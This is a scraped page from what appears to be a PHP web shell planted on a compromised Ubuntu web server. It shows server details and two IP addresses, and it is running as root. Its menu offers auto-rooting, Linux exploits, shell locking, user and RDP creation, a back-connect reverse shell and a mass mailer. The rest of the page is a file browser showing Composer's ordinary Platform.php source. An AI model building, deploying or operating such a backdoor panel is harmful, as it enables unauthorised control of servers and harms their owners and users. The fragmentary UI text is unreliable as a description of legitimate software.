Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.216.67
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
Composer /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
AuthHelper.php
1.66
KB
-rw-r--r--
Bitbucket.php
8.38
KB
-rw-r--r--
ComposerMirror.php
1.75
KB
-rw-r--r--
ConfigValidator.php
5.45
KB
-rw-r--r--
ErrorHandler.php
2.24
KB
-rw-r--r--
Filesystem.php
21.29
KB
-rw-r--r--
Git.php
14.3
KB
-rw-r--r--
GitHub.php
4.52
KB
-rw-r--r--
GitLab.php
5.42
KB
-rw-r--r--
IniHelper.php
1.91
KB
-rw-r--r--
NoProxyPattern.php
4.07
KB
-rw-r--r--
Perforce.php
16.72
KB
-rw-r--r--
Platform.php
2.54
KB
-rw-r--r--
ProcessExecutor.php
5.49
KB
-rw-r--r--
RemoteFilesystem.php
41.17
KB
-rw-r--r--
Silencer.php
2.12
KB
-rw-r--r--
SpdxLicense.php
570
B
-rw-r--r--
StreamContextFactory.php
7.13
KB
-rw-r--r--
Svn.php
9.31
KB
-rw-r--r--
TlsHelper.php
6.51
KB
-rw-r--r--
Url.php
2.86
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Platform.php
<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Util; /** * Platform helper for uniform platform-specific tests. * * @author Niels Keurentjes <niels.keurentjes@omines.com> */ class Platform { /** * Parses tildes and environment variables in paths. * * @param string $path * @return string */ public static function expandPath($path) { if (preg_match('#^~[\\/]#', $path)) { return self::getUserDirectory() . substr($path, 1); } return preg_replace_callback('#^(\$|(?P<percent>%))(?P<var>\w++)(?(percent)%)(?P<path>.*)#', function ($matches) { // Treat HOME as an alias for USERPROFILE on Windows for legacy reasons if (Platform::isWindows() && $matches['var'] == 'HOME') { return (getenv('HOME') ?: getenv('USERPROFILE')) . $matches['path']; } return getenv($matches['var']) . $matches['path']; }, $path); } /** * @throws \RuntimeException If the user home could not reliably be determined * @return string The formal user home as detected from environment parameters */ public static function getUserDirectory() { if (false !== ($home = getenv('HOME'))) { return $home; } if (self::isWindows() && false !== ($home = getenv('USERPROFILE'))) { return $home; } if (function_exists('posix_getuid') && function_exists('posix_getpwuid')) { $info = posix_getpwuid(posix_getuid()); return $info['dir']; } throw new \RuntimeException('Could not determine user directory'); } /** * @return bool Whether the host machine is running a Windows OS */ public static function isWindows() { return defined('PHP_WINDOWS_VERSION_BUILD'); } /** * @param string $str * @return int return a guaranteed binary length of the string, regardless of silly mbstring configs */ public static function strlen($str) { static $useMbString = null; if (null === $useMbString) { $useMbString = function_exists('mb_strlen') && ini_get('mbstring.func_overload'); } if ($useMbString) { return mb_strlen($str, '8bit'); } return strlen($str); } }
Close